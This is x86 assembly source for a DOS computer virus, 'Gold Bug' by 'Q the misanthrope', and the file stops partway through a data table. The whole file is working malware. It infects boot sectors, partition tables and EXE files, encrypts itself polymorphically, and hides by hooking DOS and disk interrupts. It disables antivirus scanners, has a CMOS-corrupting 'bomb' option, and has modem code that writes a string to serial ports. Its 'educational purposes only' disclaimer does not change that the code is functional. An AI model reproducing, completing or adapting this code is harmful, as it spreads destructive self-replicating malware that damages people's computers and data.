cseg		segment	para	public	'code'
gold_bug	proc	near
assume		cs:cseg

;-----------------------------------------------------------------------------

;designed by "Q" the misanthrope.

;-----------------------------------------------------------------------------

; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!

;-----------------------------------------------------------------------------

.186
TRUE		equ	001h
FALSE		equ	000h

;-----------------------------------------------------------------------------

;option				     bytes used	and where

DELETE_SCANNERS	equ	FALSE	; -2 bytes  -2 in com_code
CHECK_FOR_8088	equ	TRUE	;  4 bytes   4 in com_code
INFECT_RANDOM	equ	TRUE	;  4 bytes   4 in com_code
CMOS_BOMB	equ	TRUE	;  4 bytes   4 in com_code
DEFLECT_DELETE	equ	TRUE	;  5 bytes   5 in com_code
READING_STEALTH	equ	TRUE	;  5 bytes   5 in com_code
SAME_FILE_DATE	equ	TRUE	; 24 bytes  24 in com_code
DOUBLE_DECRIPT	equ	TRUE	; 26 bytes  26 in com_code
EXECUTE_SPAWNED	equ	TRUE	; 35 bytes  32 in com_code  3 in boot_code
MODEM_CODE	equ	TRUE	; 40 bytes  29 in com_code 11 in boot_code
ANTI_ANTIVIRUS	equ	TRUE	; 46 bytes  35 in com_code 11 in boot_code
POLYMORPHIC	equ	TRUE	; 90 bytes  74 in com_code 16 in boot_code
MULTIPARTITE	equ	TRUE	;372 bytes 346 in com_code 26 in boot_code

;-----------------------------------------------------------------------------

;floppy	boot infection

FLOPPY_1_2M	equ	001h
FLOPPY_760K	equ	000h
FLOPPY_TYPE	equ	FLOPPY_1_2M

;-----------------------------------------------------------------------------

IFE MULTIPARTITE
DELETE_SCANNERS	equ	FALSE
CHECK_FOR_8088	equ	FALSE
INFECT_RANDOM	equ	FALSE
DEFLECT_DELETE	equ	FALSE
READING_STEALTH	equ	FALSE
SAME_FILE_DATE	equ	FALSE
EXECUTE_SPAWNED	equ	FALSE
POLYMORPHIC	equ	FALSE
ENDIF

;-----------------------------------------------------------------------------

SECTOR_SIZE	equ	00200h
RES_OFFSET	equ	0fb00h
COM_OFFSET	equ	00100h
RELATIVE_OFFSET	equ	RES_OFFSET-COM_OFFSET
PART_OFFSET	equ	COM_OFFSET+SECTOR_SIZE
BOOT_OFFSET	equ	07c00h
RELATIVE_BOOT	equ	BOOT_OFFSET-PART_OFFSET
LOW_JMP_10	equ	0031ch
LOW_JMP_21	equ	00321h
SAVE_INT_CHAIN	equ	0032ch
SCRATCH_AREA	equ	08000h
HEADER_SEGMENT	equ	00034h
INT_21_IS_NOW	equ	0cch
BIOS_INT_13	equ	0c6h
NEW_INT_13_LOOP	equ	0cdh
BOOT_SECTOR	equ	001h
DESCRIPTOR_OFF	equ	015h
IF FLOPPY_TYPE EQ FLOPPY_1_2M
DESCRIPTOR	equ	0f909h
OLD_BOOT_SECTOR	equ	00eh
COM_CODE_SECTOR	equ	00dh
ELSE
DESCRIPTOR	equ	0f905h
OLD_BOOT_SECTOR	equ	005h
COM_CODE_SECTOR	equ	004h
ENDIF
READ_ONLY	equ	001h
SYSTEM		equ	004h
DELTA_RI	equ	004h
DSR		equ	020h
CTS		equ	010h
CD		equ	080h
FAR_JUMP	equ	0eah
MIN_FILE_SIZE	equ	00500h
PSP_SIZE	equ	00100h
VIRGIN_INT_13_A	equ	00806h
VIRGIN_INT_13_B	equ	007b4h
VIRGIN_INT_2F	equ	00706h
FAR_JUMP_OFFSET	equ	006h
SET_INT_OFFSET	equ	007h
CHANGE_SEG_OFF	equ	009h
VIDEO_MODE	equ	00449h
MONOCHROME	equ	007h
COLOR_VIDEO_MEM	equ	0b000h
ADDR_MUL	equ	004h
SINGLE_BYTE_INT	equ	003h
VIDEO_INT	equ	010h
VIDEO_INT_ADDR	equ	VIDEO_INT*ADDR_MUL
DISK_INT	equ	013h
DISK_INT_ADDR	equ	DISK_INT*ADDR_MUL
SERIAL_INT	equ	014h
DOS_INT		equ	021h
DOS_INT_ADDR	equ	DOS_INT*ADDR_MUL
MULTIPLEX_INT	equ	02fh
COMMAND_LINE	equ	080h
FIRST_FCB	equ	05ch
SECOND_FCB	equ	06ch
NULL		equ	00000h
GET_PORT_STATUS	equ	00300h
WRITE_TO_PORT	equ	00100h
HD_0_HEAD_0	equ	00080h
READ_A_SECTOR	equ	00201h
WRITE_A_SECTOR	equ	00301h
GET		equ	000h
SET		equ	001h
DELETE_W_FCB	equ	01300h
DEFAULT_DRIVE	equ	000h
GET_DEFAULT_DR	equ	01900h
DOS_SET_INT	equ	02500h
FILE_DATE_TIME	equ	05700h
DENYNONE	equ	040h
OPEN_W_HANDLE	equ	03d00h
READ_W_HANDLE	equ	03f00h
WRITE_W_HANDLE	equ	04000h
CLOSE_HANDLE	equ	03e00h
UNLINK		equ	04100h
FILE_ATTRIBUTES	equ	04300h
RESIZE_MEMORY	equ	04a00h
QUERY_FREE_HMA	equ	04a01h
ALLOCATE_HMA	equ	04a02h
EXEC_PROGRAM	equ	04b00h
GET_ERROR_LEVEL	equ	04d00h
TERMINATE_W_ERR	equ	04c00h
RENAME_A_FILE	equ	05600h
LSEEK_TO_END	equ	04202h
CREATE_NEW_FILE	equ	05b00h
RESIDENT_LENGTH	equ	068h
PARAMETER_TABLE	equ	005f1h
MAX_PATH_LENGTH	equ	00080h
EXE_HEADER_SIZE	equ	020h
NEW_EXE_HEADER	equ	00040h
NEW_EXE_OFFSET	equ	018h
PKLITE_SIGN	equ	'KP'
PKLITE_OFFSET	equ	01eh
NO_OF_COM_PORTS	equ	004h
WINDOWS_BEGIN	equ	01605h
WINDOWS_END	equ	01606h
ERROR_IN_EXE	equ	0000bh
IF POLYMORPHIC
FILE_SIGNATURE	equ	07081h
XOR_SWAP_OFFSET	equ	byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
FILE_LEN_OFFSET	equ	byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
FIRST_UNDO_OFF	equ	byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
SECOND_UNDO_OFF	equ	byte ptr ((offset second_jmp)-(offset com_code))
BL_BX_OFFSET	equ	byte ptr ((offset incbl_incbx)-(offset com_code))
ROTATED_OFFSET	equ	byte ptr ((offset rotated_code)-(offset	com_code))
ELSE
FILE_SIGNATURE	equ	0070eh
ENDIF
IF MODEM_CODE
STRING_LENGTH	equ	byte ptr ((offset partition_sig)-(offset string))
ENDIF
IF EXECUTE_SPAWNED
EXEC_SUBTRACT	equ	byte ptr ((offset file_name)-(offset exec_table))
ENDIF
DH_OFFSET	equ	byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
ONE_NIBBLE	equ	004h
ONE_BYTE	equ	001h
TWO_BYTES	equ	002h
THREE_BYTES	equ	003h
FOUR_BYTES	equ	004h
FIVE_BYTES	equ	005h
FIVE_BITS	equ	005h
EIGHT_BYTES	equ	008h
USING_HARD_DISK	equ	080h
KEEP_CF_INTACT	equ	002h
CMOS_CRC_ERROR	equ	02eh
CMOS_PORT	equ	070h
REMOVE_NOP	equ	001h
CR		equ	00dh
LF		equ	00ah
INT3_INCBX	equ	043cch
INC_BL		equ	0c3feh
INCBX_INCBL_XOR	equ	INT3_INCBX XOR INC_BL
JMP_NO_SIGN	equ	079h
JMP_NOT_ZERO	equ	075h
JNS_JNZ_XOR	equ	JMP_NO_SIGN XOR	JMP_NOT_ZERO
CLI_PUSHCS	equ	00efah

;-----------------------------------------------------------------------------

video_seg	segment	at 0c000h
		org	00000h
original_int_10	label	word
video_seg	ends

;-----------------------------------------------------------------------------

io_seg		segment	at 00070h
		org	00893h
original_2f_jmp	label	word
io_seg		ends

;-----------------------------------------------------------------------------

		org	COM_OFFSET
com_code:

;-----------------------------------------------------------------------------

		IF	POLYMORPHIC
first_decode	proc	near
serial_number:	xor	word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
		org	$-REMOVE_NOP
		org	$-FIVE_BYTES
		jmp	load_it
		org	$+TWO_BYTES
rotated_code:	int	SINGLE_BYTE_INT
		into
		adc	al,0d4h
incbl_incbx:	inc	bl
first_jmp:	jnz	serial_number
		add	bx,si
		jns	serial_number
first_decode	endp

;-----------------------------------------------------------------------------

		IF	DOUBLE_DECRIPT
second_decode	proc	near
		push	si
get_next_byte:	lodsw
		add	bx,ax
		inc	bx
		xor	byte ptr ds:[si+SECOND_UNDO_OFF],bl
		org	$-REMOVE_NOP
		dec	si
second_jmp:	jns	get_next_byte
		pop	si
second_decode	endp
		ENDIF
		ENDIF

;-----------------------------------------------------------------------------

com_start	proc	near
		IF	MULTIPARTITE
		push	cs
		pop	es
		call	full_move_w_si
		mov	ds,cx
		cmp	cx,word	ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
		jne	dont_set_int
		mov	di,VIRGIN_INT_13_B
		call	set_both_ints
		push	cs
		pop	es
		ENDIF
dont_set_int:	IF	CHECK_FOR_8088
		mov	cl,RESIDENT_LENGTH
		mov	al,high(RESIZE_MEMORY)
		shl	ax,cl
		mov	bx,cx
		int	DOS_INT
		ELSEIF	MULTIPARTITE
		mov	bx,RESIDENT_LENGTH
		mov	ah,high(RESIZE_MEMORY)
		int	DOS_INT
		ENDIF
		IF	EXECUTE_SPAWNED
		pusha
		call	from_com_code+RELATIVE_OFFSET
		popa
		push	cs
		pop	ds
		push	cs
		pop	es
		cmpsw
		mov	dx,si
		sub	si,EXEC_SUBTRACT
		org	$-REMOVE_NOP
		mov	bx,PARAMETER_TABLE
		mov	di,bx
		mov	ax,EXEC_PROGRAM
set_table:	scasw
		movsb
		scasb
		mov	word ptr ds:[di],ds
		je	set_table
		int	DOS_INT
		mov	ah,high(GET_ERROR_LEVEL)
		int	DOS_INT
		mov	ah,high(TERMINATE_W_ERR)
		ELSEIF	MULTIPARTITE
		call	from_com_code+RELATIVE_OFFSET
		mov	ax,TERMINATE_W_ERR
		ENDIF
		IF	MULTIPARTITE
		int	DOS_INT
		ELSE
		jmp	boot_load
		ENDIF
com_start	endp

;-----------------------------------------------------------------------------

interrupt_21	proc	far
		pushf
		pusha
		push	ds
		push	es
		mov	di,dx
		push	ds
		pop	es
		cld
		mov	cx,MAX_PATH_LENGTH
		IF	MULTIPARTITE
		mov	si,offset file_name+RELATIVE_OFFSET
		ENDIF
		IF	READING_STEALTH	OR DEFLECT_DELETE
		mov	bx,ax
		ENDIF
		cmp	ax,EXEC_PROGRAM
		IF	READING_STEALTH
		je	start_process
		cmp	ah,high(OPEN_W_HANDLE)
		ENDIF
		IF	DEFLECT_DELETE
		je	start_process
		cmp	ah,high(UNLINK)
		ENDIF
		jne	a_return
start_process:	xor	ax,ax
copy_name:	IF	MULTIPARTITE
		mov	bl,byte	ptr ds:[di]
		mov	byte ptr cs:[si],bl
		inc	si
		ENDIF
		scasb
		loopne	copy_name
		std
		scasw
		IF	MULTIPARTITE
		mov	byte ptr cs:[si-FIVE_BYTES],al
		ENDIF
		mov	al,'E'
		scasw
		jne	a_return
		mov	ah,'X'
		scasw
		jne	a_return
		IF	MULTIPARTITE
		push	ds
		ENDIF
		pusha
		call	open_close_file
		IF	SAME_FILE_DATE
		mov	word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
		mov	word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
		ENDIF
		or	si,si
		IF	MULTIPARTITE
		jnz	large_exe_file
		cmp	word ptr ds:[si],FILE_SIGNATURE
		je	our_kind
		IF	INFECT_RANDOM
		xor	di,bp
		jpo	our_kind
		ENDIF
		cmp	word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
		jb	test_if_open
		cmp	word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
		je	test_if_open
		ELSE
		jz	our_kind
		ENDIF
large_exe_file:	popa
		IF	MULTIPARTITE
		pop	ds
		ENDIF
		IF	ANTI_ANTIVIRUS
		mov	al,'N'
		scasb
		ja	a_return
		mov	al,'A'
		scasb
		jne	a_return
		pop	es
		pop	ds
		popa
		IF	READING_STEALTH	OR DEFLECT_DELETE
		cmp	ah,high(EXEC_PROGRAM)
		jne	opened_file
		ENDIF
		popf
		IF	CMOS_BOMB
		mov	al,CMOS_CRC_ERROR
		out	CMOS_PORT,ax
		ENDIF
		IF	DELETE_SCANNERS
		mov	ah,high(UNLINK)
		jmp	short old_int_10_21
		ELSE
		mov	al,ERROR_IN_EXE
		stc
		retf	KEEP_CF_INTACT
		ENDIF
		ELSE
		jmp	short a_return
		ENDIF
our_kind:	popa
		IF	MULTIPARTITE
		pop	ds
error_in_copy:	inc	di
		xchg	byte ptr ds:[di],ch
		mov	ax,OPEN_W_HANDLE+DENYNONE
		int	INT_21_IS_NOW
		mov	bx,ax
		jnc	close_it
		mov	byte ptr ds:[di],ch
jmp_a_return:	jmp	short a_return
close_it:	call	force_close
		ENDIF
a_return:	pop	es
		pop	ds
		popa
opened_file:	popf
old_int_10_21:	jmp	far ptr	original_int_10
		IF	MULTIPARTITE
test_if_open:	popa
		pop	ds
		IF	READING_STEALTH	OR DEFLECT_DELETE
		cmp	bh,high(EXEC_PROGRAM)
		jne	error_in_copy
		ENDIF
drive_letter:	sub	al,USING_HARD_DISK
		jns	error_in_copy
		mov	ax,GET+FILE_ATTRIBUTES
		int	INT_21_IS_NOW
		mov	ah,high(RENAME_A_FILE)
		pusha
		mov	di,offset file_name+RELATIVE_OFFSET
		push	cs
		pop	es
		int	INT_21_IS_NOW
set_attribs:	popa
		int	INT_21_IS_NOW
		mov	ah,high(CREATE_NEW_FILE)
		int	INT_21_IS_NOW
		jc	error_in_copy
		mov	bx,ax
		mov	ax,SET+FILE_ATTRIBUTES
		pusha
		push	ds
		push	cs
		pop	ds
		or	cl,SYSTEM
		mov	dx,offset file_name+RELATIVE_OFFSET
		int	INT_21_IS_NOW
		IF	ANTI_ANTIVIRUS
		mov	dx,offset fcb_name+RELATIVE_OFFSET
		mov	ah,high(DELETE_W_FCB)
		int	INT_21_IS_NOW
		ENDIF
		xor	di,di
		mov	ax,SCRATCH_AREA
		mov	es,ax
		mov	ds,ax
		call	full_move
		call	move_some_more
		IF	POLYMORPHIC
		xor	si,si
		mov	cx,word	ptr ds:[si+FILE_LEN_OFFSET]
		org	$-REMOVE_NOP
		IF	DOUBLE_DECRIPT
		pusha
set_second:	add	al,byte	ptr cs:[si+RES_OFFSET]
		inc	ax
		xor	byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
		org	$-REMOVE_NOP
		inc	si
		loop	set_second
		popa
		ENDIF
		mov	ax,cx
		pusha
		xor	bx,bx
		mov	bl,byte	ptr ds:[si+XOR_SWAP_OFFSET]
		org	$-REMOVE_NOP
set_first:	xor	word ptr ds:[bx],ax
		inc	bx
		loop	set_first
		popa
		ELSE
file_length:	mov	cx,NULL
		ENDIF
		mov	ah,high(WRITE_W_HANDLE)
                cwd
		int	INT_21_IS_NOW
		IF	SAME_FILE_DATE
		mov	ax,SET+FILE_DATE_TIME
new_time:	mov	cx,NULL
new_date:	mov	dx,NULL
		call	do_int21_close
		ELSE
		call	force_close
		ENDIF
		pop	ds
		jmp	short set_attribs
		ENDIF
interrupt_21	endp

;-----------------------------------------------------------------------------

open_close_file	proc	near
		mov	ax,OPEN_W_HANDLE+DENYNONE
		xor	cx,cx
		int	INT_21_IS_NOW
		jc	more_returns
		mov	bx,ax
		IF	MULTIPARTITE
		mov	dx,HEADER_SEGMENT
		mov	ds,dx
		ENDIF
		IF	MODEM_CODE
		IF	MULTIPARTITE
		mov	dl,NO_OF_COM_PORTS
		ELSE
		mov	dx,NO_OF_COM_PORTS
		ENDIF
scan_coms:	dec	dx
		js	no_more_coms
		mov	ax,GET_PORT_STATUS
		int	SERIAL_INT
		xor	al,DELTA_RI+CTS+DSR
		and	al,DELTA_RI+CTS+DSR+CD
		jnz	scan_coms
		mov	si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
		mov	cl,STRING_LENGTH
output_data:	lods	byte ptr cs:[si]
		mov	ah,high(WRITE_TO_PORT)
		int	SERIAL_INT
		loop	output_data
		ENDIF
no_more_coms:	IF	MULTIPARTITE
		mov	cl,EXE_HEADER_SIZE
		mov	ah,high(READ_W_HANDLE)
                cwd
		int	INT_21_IS_NOW
		xor	cx,cx
                ELSE
                xor	dx,dx
		ENDIF
		mov	ax,LSEEK_TO_END
		int	INT_21_IS_NOW
		IF	MULTIPARTITE
		IF	POLYMORPHIC
		mov	word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
		ELSE
		mov	word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
		ENDIF
		ENDIF
		inc	ah
		cmp	ax,MIN_FILE_SIZE+PSP_SIZE
		adc	dx,cx
		mov	si,dx
		IF	SAME_FILE_DATE
		mov	ax,GET+FILE_DATE_TIME
do_int21_close:	int	INT_21_IS_NOW
		ENDIF
force_close:	mov	ah,high(CLOSE_HANDLE)
		int	INT_21_IS_NOW
more_returns:	ret
open_close_file	endp

;-----------------------------------------------------------------------------

full_move_w_si	proc	near
		IF	POLYMORPHIC
swap_incbx_bl:	xor	word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
		org	$-REMOVE_NOP
		xor	byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
		org	$-REMOVE_NOP
		ENDIF
		stc
full_move_w_di:	mov	di,RES_OFFSET
full_move:	call	move_code
move_code:	jc	move_some_more
		mov	si,RES_OFFSET
		IF	POLYMORPHIC
		IF	CHECK_FOR_8088
		mov	cl,ONE_NIBBLE
		ror	word ptr cs:[si+ROTATED_OFFSET],cl
		org	$-REMOVE_NOP
		ELSE
		ror	word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
		org	$-REMOVE_NOP
		ENDIF
		ENDIF
move_some_more:	mov	cx,SECTOR_SIZE
		pushf
		cld
		rep	movs byte ptr es:[di],cs:[si]
		popf
		stc
		ret
full_move_w_si	endp

;-----------------------------------------------------------------------------

		IF	ANTI_ANTIVIRUS
		org	PART_OFFSET-ONE_BYTE
fcb_name	db	DEFAULT_DRIVE
		ENDIF

;-----------------------------------------------------------------------------

		org	PART_OFFSET
boot_code:

;-----------------------------------------------------------------------------

initialize_boot	proc	near
		IF	ANTI_ANTIVIRUS
		db	'CHKLIST????'
		cli
		push	cs
		mov	si,BOOT_OFFSET-SECTOR_SIZE
		pop	ss
		mov	sp,si
		sti
		push	cs
		org	PART_OFFSET+DESCRIPTOR_OFF
		db	high(DESCRIPTOR)
		pop	ds
		mov	cx,COM_CODE_SECTOR
		pushf
		push	cs
		push	BOOT_OFFSET
		mov	ax,READ_A_SECTOR
		ELSE
		cli
		push	cs
		mov	si,BOOT_OFFSET-SECTOR_SIZE
		pop	ss
		mov	sp,si
		sti
		pushf
		push	cs
		push	BOOT_OFFSET
		push	cs
		mov	cx,COM_CODE_SECTOR
		mov	ax,READ_A_SECTOR
		org	PART_OFFSET+DESCRIPTOR_OFF
		db	high(DESCRIPTOR)
		pop	ds
		ENDIF
		push	cs
		pop	es
dh_value:	mov	dx,NULL
		mov	bx,dx
		xor	dh,al
		shr	dx,1
		mov	dh,bh
		push	dx
		mov	bx,si
		push	ax
		int	DISK_INT
		pop	ax
		mov	di,VIDEO_INT_ADDR
		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
		call	get_n_set_int+ONE_BYTE
		mov	bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
		cmp	dx,LOW_JMP_10
		je	try_this_out
		cmp	byte ptr ds:[VIDEO_MODE],MONOCHROME
		jae	try_this_out
		mov	di,DISK_INT_ADDR
		IF	MULTIPARTITE
		call	set_both_ints
		ELSE
		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
		call	set_interrupt
		ENDIF
		mov	ch,high(COLOR_VIDEO_MEM)
		mov	bx,offset high_code+RELATIVE_OFFSET
try_this_out:	push	cx
		push	bx
		mov	es,cx
		call	full_move_w_si
		retf
initialize_boot	endp

;-----------------------------------------------------------------------------

high_code	proc	near
		mov	dx,offset int_10_start+RELATIVE_OFFSET
		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET
		call	set_int_10_21
		mov	bx,VIDEO_INT_ADDR-SET_INT_OFFSET
low_code:	mov	es,cx
		mov	cl,OLD_BOOT_SECTOR
		mov	dx,LOW_JMP_10
		call	set_interrupt
		mov	bx,BOOT_OFFSET
		pop	dx
		int	DISK_INT
		xor	dh,dh
		mov	cl,BOOT_SECTOR
		mov	ax,WRITE_A_SECTOR
high_code	endp

;-----------------------------------------------------------------------------

interrupt_13	proc	far
int_13_start:	IF	MULTIPARTITE
		mov	byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
		ENDIF
		cmp	cx,BOOT_SECTOR
		jne	no_boot_sector
		cmp	ah,high(READ_A_SECTOR)
		jne	no_boot_sector
		cmp	dx,HD_0_HEAD_0
		jbe	reread_boot
no_boot_sector:	int	NEW_INT_13_LOOP
		jmp	short return_far
reread_boot:	int	NEW_INT_13_LOOP
		jc	return_far
		pusha
		push	ds
		push	es
		pop	ds
check_old_boot:	mov	ax,READ_A_SECTOR
		xor	dh,dh
		mov	cl,OLD_BOOT_SECTOR
		IF	ANTI_ANTIVIRUS
		cmp	word ptr ds:[bx],'HC'
		ELSE
		cmp	word ptr ds:[bx],CLI_PUSHCS
		ENDIF
		je	read_old_boot
		test	dl,USING_HARD_DISK
		jnz	encode_hd
		cmp	word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
		jne	time_to_leave
		mov	dh,al
		pusha
		int	NEW_INT_13_LOOP
		cmp	byte ptr ds:[bx],ch
		popa
		pushf
		pusha
		xor	dh,dh
		mov	cl,al
		int	NEW_INT_13_LOOP
		popa
		popf
		jne	time_to_leave
encode_hd:	mov	ah,high(WRITE_A_SECTOR)
		push	ax
		int	NEW_INT_13_LOOP
		pop	ax
		jc	time_to_leave
		mov	di,bx
		call	move_code
		mov	cl,COM_CODE_SECTOR
		IF	POLYMORPHIC
		xor	byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
		org	$-REMOVE_NOP
		jo	dont_flip_it
		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax
		org	$-REMOVE_NOP
		xchg	ah,al
		xchg	word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
		org	$-REMOVE_NOP
		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax
		org	$-REMOVE_NOP
		ENDIF
dont_flip_it:	pusha
		int	NEW_INT_13_LOOP
		popa
		mov	di,bx
		call	move_some_more
		mov	byte ptr ds:[bx+DH_OFFSET],dh
		org	$-REMOVE_NOP
		mov	dh,cl
		inc	cx
		int	NEW_INT_13_LOOP
		jmp	short check_old_boot
read_old_boot:	mov	dh,byte	ptr ds:[bx+DH_OFFSET]
		org	$-REMOVE_NOP
		int	NEW_INT_13_LOOP
time_to_leave:	pop	ds
		popa
		clc
return_far:	retf	KEEP_CF_INTACT
interrupt_13	endp

;-----------------------------------------------------------------------------

interrupt_2f	proc	far
		pusha
		push	ds
		push	es
		push	offset return_to_2f+RELATIVE_OFFSET
		xor	cx,cx
		mov	ds,cx
		mov	bx,SAVE_INT_CHAIN-SET_INT_OFFSET
		cmp	ax,WINDOWS_END
		jne	try_another
		les	dx,dword ptr ds:[bx+SET_INT_OFFSET]
		jmp	short set_13_chain
try_another:	cmp	ax,WINDOWS_BEGIN
		jne	another_return
		mov	di,VIRGIN_INT_13_B
		call	get_n_set_int+ONE_BYTE
		les	dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
set_13_chain:	mov	ax,READ_A_SECTOR
		call	get_set_part
		mov	bx,VIRGIN_INT_13_B-SET_INT_OFFSET
		call	set_interrupt
		mov	bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
		call	set_interrupt
		mov	ah,high(WRITE_A_SECTOR)
interrupt_2f	endp

;-----------------------------------------------------------------------------

get_set_part	proc	near
		pusha
		push	es
		mov	bx,SCRATCH_AREA
		mov	es,bx
		mov	dx,HD_0_HEAD_0
		inc	cx
		int	NEW_INT_13_LOOP
		mov	ax,READ_A_SECTOR
		int	DISK_INT
		pop	es
		popa
another_return:	ret
get_set_part	endp

;-----------------------------------------------------------------------------

return_to_2f	proc	near
		pop	es
		pop	ds
		popa
		jmp	far ptr	original_2f_jmp
return_to_2f	endp

;-----------------------------------------------------------------------------

interrupt_10	proc	far
int_10_start:	pushf
		pusha
		push	ds
		push	es
		push	offset a_return+RELATIVE_OFFSET
from_com_code:	xor	bx,bx
		mov	ds,bx
		or	ah,ah
		jz	set_10_back
		mov	ax,QUERY_FREE_HMA
		int	MULTIPLEX_INT
		cmp	bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
		jb	another_return
		mov	ax,ALLOCATE_HMA
		int	MULTIPLEX_INT
		clc
		call	full_move_w_di
		mov	dx,offset int_13_start+RELATIVE_OFFSET
		call	set_13_chain
		mov	bx,VIRGIN_INT_2F-SET_INT_OFFSET
		mov	dx,offset interrupt_2f+RELATIVE_OFFSET
		call	set_interrupt
		cmp	word ptr ds:[LOW_JMP_10],cx
		je	set_10_back
		push	es
		push	es
		mov	di,DOS_INT_ADDR
		mov	bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		pop	ds
		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
		call	set_interrupt
		mov	ds,cx
		mov	ax,DOS_SET_INT+DOS_INT
		mov	dx,LOW_JMP_21
		int	INT_21_IS_NOW
		pop	es
		mov	bx,dx
		mov	dx,offset interrupt_21+RELATIVE_OFFSET
		mov	word ptr ds:[bx],0b450h
		mov	word ptr ds:[bx+TWO_BYTES],0cd19h
		mov	word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
		call	set_int_10_21
set_10_back:	mov	di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET
interrupt_10	endp

;-----------------------------------------------------------------------------

get_n_set_int	proc	near
		les	dx,dword ptr cs:[di]
		jmp	short set_interrupt
set_int_10_21:	mov	byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
set_interrupt:	mov	word ptr ds:[bx+SET_INT_OFFSET],dx
		mov	word ptr ds:[bx+CHANGE_SEG_OFF],es
		ret
get_n_set_int	endp

;-----------------------------------------------------------------------------

		IF	MULTIPARTITE
set_both_ints	proc	near
		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
		jmp	short set_interrupt
set_both_ints	endp
		ENDIF

;-----------------------------------------------------------------------------

		IF	EXECUTE_SPAWNED
exec_table	db	COMMAND_LINE,FIRST_FCB,SECOND_FCB
		ENDIF

;-----------------------------------------------------------------------------

		IF	MODEM_CODE
		org	PART_OFFSET+001f3h
string		db	CR,'1O7=0SLMTA'
		ENDIF

;-----------------------------------------------------------------------------

		org	PART_OFFSET+SECTOR_SIZE-TWO_BYTES
partition_sig	dw	0aa55h

;-----------------------------------------------------------------------------

		org	PART_OFFSET+SECTOR_SIZE+TWO_BYTES
file_name	db	'DA',027h,'BOYS.COM',NULL

;-----------------------------------------------------------------------------

		org	PARAMETER_TABLE
		dw	NULL,NULL,NULL,NULL,NULL,NULL,NULL
		db	NULL

;-----------------------------------------------------------------------------

		IFE	MULTIPARTITE
boot_load	proc	near
		push	cs
		pop	es
		call	full_move_w_si
		mov	ds,cx
		cmp	cx,word	ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
		jne	dont_set_intcd
		lds	dx,dword ptr ds:[VIRGIN_INT_13_B]
		mov	ax,DOS_SET_INT+NEW_INT_13_LOOP
		int	DOS_INT
dont_set_intcd:	mov	ah,high(GET_DEFAULT_DR)
		int	DOS_INT
		call	from_com_code+RELATIVE_OFFSET
		mov	ax,TERMINATE_W_ERR
		int	DOS_INT
boot_load	endp
		ENDIF

;-----------------------------------------------------------------------------

		IF	POLYMORPHIC
load_it		proc	near
		mov	word ptr ds:[si],FILE_SIGNATURE
		mov	byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
		push	bx
		xor	ax,ax
		cli
		out	043h,al
		in	al,040h
		mov	ah,al
		in	al,040h
		sti
		push	ax
		and	ax,0001eh
		mov	bx,ax
		mov	ax,word	ptr ds:[bx+two_byte_table]
		mov	word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
		org	$-REMOVE_NOP
		pop	ax
		and	ax,003e0h
		mov	cl,FIVE_BITS
		shr	ax,cl
		mov	bx,ax
		mov	al,byte	ptr ds:[bx+one_byte_table]
		xor	al,low(INC_BL)
		mov	byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
		pop	bx
		jmp	com_start
load_it		endp

;-----------------------------------------------------------------------------

two_byte_table:	mov	al,0b2h
